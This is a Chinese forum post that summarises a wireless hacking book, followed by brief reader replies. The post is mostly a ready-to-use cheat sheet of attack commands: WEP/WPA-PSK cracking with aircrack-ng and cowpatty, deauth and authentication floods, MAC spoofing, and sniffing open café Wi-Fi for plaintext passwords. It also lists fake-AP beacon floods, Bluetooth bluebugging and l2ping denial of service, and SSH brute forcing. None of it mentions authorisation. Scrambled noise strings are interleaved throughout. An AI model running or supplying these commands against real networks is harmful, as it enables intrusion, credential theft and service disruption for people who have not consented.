《无线黑客傻瓜书》读后总结

wrczeus

这本书看了一个星期，终于看完了，现把书上的精华总结成如下内容，条理化知识点。
2 J0 c" v7 t& c) r
& I2 ^( \  B) D以下所有操作均在BackTrack 4中进行。


1 r$ c# ^6 U' t4 }无线WEP加密P解：
9 h( }9 L1 T4 y" m- i
注入P解：
' B- F3 k1 U) n% w
- L# Y, {- v! K/ `! Q9 a% Y+ iifconfig
: _, T2 o9 S! m
$ t% m# t+ J7 L3 t2 K# c5 K0 R7 yifconfig –a
, k" R  G3 K0 P2 U, j
& Q6 o2 \) G8 kifconfig wlan0(无线网卡) up
7 F- j! W* f! a/ b$ ~" X
0 t# E! q: G$ |6 {' I: Aairmon-ng start wlan0
6 u3 a% D' T" ~
: ~( ?9 }( O+ F/ x5 C  \- Xairodump-ng mon0

4 E( s3 O1 _& Y& Z1 x/ s1 ~airodump-ng --ivs –w ivsfile –c 频道 mon0或

) W0 g1 L- I3 u, M3 c& Cairodump-ng --output-format ivs --ivs –w ivsfile –c 频道 mon0
& _/ |6 u5 S& k5 \) N
/ b( L  h9 l6 U; [9 t1 eaireplay-ng -3 –b BSSID –h Station mon0

aircrack-ng ivsfile-01.ivs

虚连接P解（适用于无客户端连接APP解）

9 L, A/ q' Q0 z# rifconfig

5 @2 r& Y  b8 o8 X3 R/ Gifconfig –a

ifconfig wlan0(无线网卡) up

' ?  j( b* Y5 Hairmon-ng start wlan0

3 O7 e4 d" x+ W. ^airodump-ng mon0

3 U, ]& S% P4 z, t+ [airodump-ng --ivs –w ivsfile –c 频道 mon0或
, E+ `& M! P+ d0 e& b9 s
airodump-ng --output-format ivs --ivs –w ivsfile –c 频道 mon0

1 Y& E$ q$ S' b9 B) @; l$ P8 C  waireplay-ng -1 0 –e SSID –a BSSID –c Station mon0
  z% N! D+ B( @  g) F5 x
aireplay-ng -2 –p 0841 –c ffffffffffff –b BSSID –h 自己的MAC mon0

+ f3 _/ S# [; j' {) `6 k$ naircrack-ng ivsfile-01.ivs

1 B7 ~, |# i. @* Z2 Y* T
; h' L, z- b/ G还有傻瓜式P解软件SpoonWEP2，SpoonWEP2中的Chopchop和Fragment来进行无客户端P解，P解时客户端MAC栏留空。
, X) i4 {4 ^. |5 @; K
( d0 ]. }/ t+ q- ~/ w
9 {& I* `& h( u: G" DWPA-PSKP解
# J4 ~* j, h% N# ^5 q) e
5 f* }# A) o- D$ e9 B6 o/ kifconfig
: R  ~5 e. a$ ^
# l" D6 ?, Z1 o" j. _ifconfig –a

ifconfig wlan0(无线网卡) up
) V/ b/ R# X4 F( l
4 i8 w1 _: T5 l+ A/ }2 Jairmon-ng start wlan0
5 X2 I3 z: x+ @* R+ y  m
" E5 p- U+ g  }9 L2 A5 `airodump-ng mon0

) f% M+ g" n5 _: `! ^: {airodump-ng –w capfile –c 频道 mon0
2 y* o8 o  l6 d7 a. W
" t# L6 U6 f( faireplay-ng -0 10 –a BSSID –c Station mon0 //Deauth洪水攻击使合法客户端掉线捕获其与AP连接时的握手数据包

aircrack-ng –w Dic capfile-01.cap或
( P7 V1 [2 v2 z
' [6 H* v+ o- W- w4 e# Fcowpatty –f Dic –r capfile-01.cap –s SSID

cowpatty –d HashTable.Hash –r capfile-01.cap –s SSID

' p( E& x& X& U+ o3 g傻瓜式P解软件SpoonWPA。

% f. G  [. _1 J& pBT4下自带的字典文件：/pentest/passwords/wordlists/darkc0de.lst
$ l" j& ]: x& g, n9 f8 w

, B1 W( {# v, V$ v9 s) j字典文件的生成和上传
. B- e+ U5 M# ~( U
* t- P9 f8 M9 p0 B- m) P在windows下使用生日密码生成器和社会工程学密码生成器 等生成字典。然后在BT4下开启Tftp、SSH或使用U盘传输。
/ a5 K! x! p7 p1 x4 ~4 x0 e
6 P" U6 f' N8 u5 w# {( B6 P
BT4下开启Tftp：Services—TFTPD—start TFTPD
; P6 K4 g) R3 |
  I+ k& F9 K) ~在Windows的CMD中运行 tftp –i IP put **.dic

  K+ o; Y% ?4 S) V
BT4下开启SSH：Services—SSH—start SSH

! S* E( @- O7 yWindows下使用CuteFTP新建连接:File--New—SFTP(SSH2)连接。使用BT4的root用户登录，前提是设置、修改密码：passwd root
9 r8 L" u8 _  O

AP限制MAC时的解决
' x2 ~3 J$ Z4 b
当AP限制IP连接时，可以伪造为合法用户的MAC，关于AP连接的用户以及MAC，可以使用airodump-ng mon0查看。在BT4下修改MAC的命令为：

ifconfig wlan0 hw ether NewMAC


% O& F/ M, D$ ~0 H7 n关闭SSID广播的AP探测：
% O, L1 s& W# T( _6 ?( ?
1.     Deauth攻击:

. {/ k0 N0 x  O1 f$ kairodump-ng mon0
: ~1 F& G* }& J0 g: z, q
8 t, i5 R* R% P( taireplay-ng -0 10 –a BSSID –h Station mon0
' q0 O. [, x! h7 A1 Z
2.     抓包分析
6 d0 z0 C- z, V; l
0 `$ }' `( b; v0 iOmnipeek

Tcpdump –n –e –vvv –i 网卡名
: m9 O* [+ S" }5 o  \4 b2 N
3.     暴力P解

- u- m7 F" I+ [5 qCharon 1.1暴力P解


无线加密数据包的解密


6 l* G7 k8 d! r# i7 Q使用airodump-ng –w capfile –c 频道 mon0 捕获数据包并P解AP的密码 ，使用Cain的Cracker项在802.11Capturea导入解密。解密完后的数据包用Wireshark打开即可分析。
( E2 m; W2 d. R7 c5 L% z9 D4 L
  t  N6 s  d. n/ Z( k; sFilterNS     DNS解析数据包

Filter:HTTP    WEB访问数据包

+ P1 S" O+ d0 e6 x0 M5 P2 zFilter:msnms   MSN

Ctrl+F查找pass可以寻找一些明文的密码，如论坛等使用非SSL连接的账号。

6 A* a' g( w; Z/ `使用airdecap-ng解密：
! Y/ o& b1 D$ @2 U; ?% `
3 ~7 d6 y$ l' O' X$ L: n) OAirdecap-ng –b BSSID –e SSID –w 密码 ***.cap

% E+ y) \$ ~) [% {
" B, O; R' J0 e$ |- e咖啡馆中无线数据截取(开放式无加密AP)

) O8 n4 |% y6 i7 C) ^8 s1.Airodump-ng –w data –c频道 mon0
( ?% G; h. g3 z2 j3 j# c
2.使用WireShark打开分析
. V: f* a9 W. s# K$ U3 Q

BT4下的渗透工具：
  j" ?( G3 j; B: T) Y) g
3 Q" p, X2 W) }# f' l- Onmap –sP IP/24        判断C段下存活的主机

nmap –vv –sS IP/24 –p Port    扫描指定端口是否开放

nmap –vv –sV IP –p port   指定端口的详细信息。。。

namp –O IP/24    判断主机的系统版本

% |  G0 x! I( _! q6 l7 c9 \. m6 E/ ^/ W
GUI 版nmap：Zenmap


  ?! @' t/ N  N: \& {/ }! }Amap使用：amap –B IP port

Nbtscan(扫描Windows网络NetBios信息)：

9 J5 a: y/ t6 y' G, P0 Q: u  vnbtscan –v –s : IP/24
/ S8 ^  g: [9 y" E9 C; k
7 o3 R" Q" w' Q2 |3 ]* V( Gnbtscan –r IP


DNSWalk(指定域名的DNS探测):./dnswalk XXX.com.
! n5 T0 S4 Y& a4 x4 E

HydraP解工具（backtrack—Privilege Escalation—PasswordAttacks—OnlineAttacks）
! E: l. H' [' c* B' a
BruteSSH: ./bruthe.py –h IP –u Username –d Dic

  d& z3 S( A4 D0 TMetasploit3使用
无线D.0.S


  {# i7 N' J" o$ CAuth Flood 攻击（Authentication Flood Attack，身份验证洪水攻击）

* B0 W. B& @, g$ v( b" m) i! vairmon-ng start wlan0
/ s3 ~2 J$ @" U' o
airodump-ng mon0
( ?! a9 S* m+ ^5 ]% z* p$ _- e
mdk3 mon0 a –a BSSID
8 `: }8 R4 c- u  j$ O
8 Q' l+ B6 K( b: {$ E对所有的AP攻击：mdk3 mon0 a
5 j' z+ ?( c  O; W

Deauth Flood 攻击

+ c3 s3 Q6 M- T9 m; xmdk3 mon0 d –c Channel
% N% X, q. `- n3 E8 t
3 h7 i' i4 I8 m5 Q% |4 L7 O( P图形化D.O.S攻击：Charon

- Y1 b+ b# _+ y1 z0 _8 ~
/ s, K) G, }0 z) r( h/ z当受到攻击时，使用Wireshark抓包可以看到异常信息。
: Q3 a3 `& y& d
3 ^7 l& H/ a% C/ o' @% Y: f# W
WPA-PSK高速P解

2 u. v% `8 i- n4 h9 `6 T' b1.       WPA-PSK PMK Hash TablesP解

Cowpatty –d HashTable.hash –r ***.cap –s SSID

& z' O* B" O" m! H$ s1 MHash Tables的制作: genpmk –f Dic –d SaveHash –s SSID
6 \5 l8 e' ~' g1 o0 |+ x8 v
& E4 D& D& h) H4 `2.       GPU辅助高速P解
4 j( D. N( T6 E7 E
使用EWSA(Elcomsoft Wireless Security Auditor,无线安全审计工具)导入WPA握手数据包P解，未注册版P解后密码只显示2位，但是可以使用WinHex查看（ALT+F9）ewsa进程的内存，搜索 密码的前两位。就可以看到完整密码。
; i# B$ p/ i' K6 w; T
3.       分布式P解

. n$ p5 [7 }7 f; n4 ~$ s
AP的伪造

; m& K8 r  k- J$ A6 b0 P2 S把AP的MAC改成目标AP的MAC

6 v5 X& ^- K8 U7 \网卡软AP
6 n0 m" E4 U- Q* j4 S7 M
" s0 m  t: }; F4 I1 V4 \
伪造大量虚假AP信号：

; y/ g1 G( n- N4 [/ a" y8 _随机SSID：mdk3 mon0 b –g –c 频道

指定SSID：mdk3 mon0 b –g –c 频道 –n SSID –s 速度
# w! J0 a9 T- C1 z& `

- }: _7 }7 K" R, BWar-Driving
+ ?2 |9 Q: d6 X9 v; t# A! K1 h5 c
4 z0 J+ a( L* X热点地图绘制

Windows Mobile系统智能手机配合GPS模块，使用WIFifofum探测，把结果导出为kml(Google Earth可识别格式)，在Google Earth中打开即可完成热点地图绘制。
2 P' _. o# u( m( h0 o

0 ~0 H$ q6 \7 W8 f6 NNetstumble
7 u/ C$ y& W! F/ i6 X: ^. P

蓝牙Hacking
# h9 q2 F1 w  @4 K7 k" ?+ X
2 O% s  B3 Z. p  t9 e, }& R8 kWindows下的Blue Soleil工具
0 f" w: o) V, l" R" o  C" W7 I% d! D
BT4：

hciconfig 查看蓝牙适配器

hciconfig hci0 up 载入蓝牙适配器
+ V6 J) r) m4 y  I- A- h
hciconfig hci0 class 蓝牙适配器详细信息

7 x2 Z0 P3 `( S6 O" u+ }
2 H' q6 n* E, y# ^& j" a9 phcitool（扫描蓝牙）
; D5 [4 O( C% D2 l! a% H
hcitool –i hci0 scan

  T5 Z( I2 P) [! D) {BTscanner(扫描蓝牙)
+ E2 q1 t/ q8 m" c; U
: K" c6 X/ \8 s9 ]& Y% t
4 R1 s7 |/ S0 I4 U, j蓝牙攻击：
8 e% K' b: ?, k  O$ y% ]
& y4 _- K6 d+ B. yBlueBugging (适用于BlueTooth V1.1的手机)
0 J0 N2 F5 ]3 ?5 v( s' K+ G
1 d) H( S! Q5 M9 ^1 _" EBluebugger工具：

. [2 U" A, d1 W0 d" I$ W7 oBulebugger –a HD_Addr info
. Z. }9 L8 A* e8 y% h
0 Z3 s2 o+ l- y0 [' }" G
- v! s$ c' |9 vBlueJacking

实现方法：使用手机伪造假的名片，里面写上消息内容然后发送。
9 t! J5 f' z: t# Q3 z2 D3 Z1 N! Q* g' e
6 \: V/ w+ R9 V! F8 U) _" ?% P9 Y
HD_Addr修改：
% [$ i9 Y9 G2 T+ c* C+ C
$ m+ U& y3 Q; s( Q8 H5 J- WBdaddr工具

# [* f* h7 A* ]bdaddr –i 蓝牙设备名 新HD_addr

; v6 a" `& L: ?6 N/ M! u. A3 ]) e: q
蓝牙D.O.S
. L1 d5 |* }2 O: u
l2ping工具(蓝牙连通性测试工具)，改变其发包数据包大小，使目标设备拒绝服务
! e# C7 X  U  F; V
hciconfig
. m/ ?4 y1 m, l# O: x
hciconfig hci0 up
  A( U5 F! g0 ~
0 C. {2 X" S9 b. G3 D4 phcitool –i hci0 scan
' w4 t1 `) L" W# p
/ {6 Y8 Z! ]  g% r$ a& r. `) sl2ping –s 10000 –目标MAC
4 i, K$ o4 X; M5 p% m, N

不可见状态的蓝牙通过RedFang暴力P解（暴力尝试所有的HD_Addr）（概念性的软件）
2 o* Q& y. F9 Z  @' ?- n! s
# o8 b  \& i, F) ~! [, ?./fang –r ************-############ -s

( A# G) L  v, B" ?7 w% y3 G9 ?暴力P解************-############的蓝牙设备
$ A' ^1 e& ^4 o9 I( f: V  ~
3 D5 E! _" G1 l( l7 f4 D* }./fang –l 各厂商BD_Addr分配

7 g: t; o) p, S6 h+ c% t$ ?# P
WifiZoo使用
$ o# f1 b7 \+ s% q/ d8 d8 P4 r& G
./wifizoo.py –c Capfile

0 r: ^2 o  X& c7 s% C) X* C访问127.0.0.1:8000即可登录Wifizoo管理页面，查看数据包分析的详情

tlwxs

传说中的沙发？

yuanbin0710

我还正在学习中，先收藏。

wo2rikku

总结的很好~谢谢分享

天鹅爸爸

分享成功的经验

yggdrasil2008

呵 ....正在努力学习当中....

donglianjun

Exellent digest

neglinhai

谢谢看了！

na2650945

谁有电子的。
9 n+ J# x) W3 N' b! W借来看看。

applehdh

LS的 估计不可能的 会被管理员和谐的
. w7 t( f4 v% z  u- m呵呵 其实也不贵 21块 快递再一点
2 S; \3 D1 @9 m  [我们也支持一下超级版主这么多年对我们的解答哈

实习魔法师

回复有理，顶贴无罪

tuilly

顶起~~~~~~~~~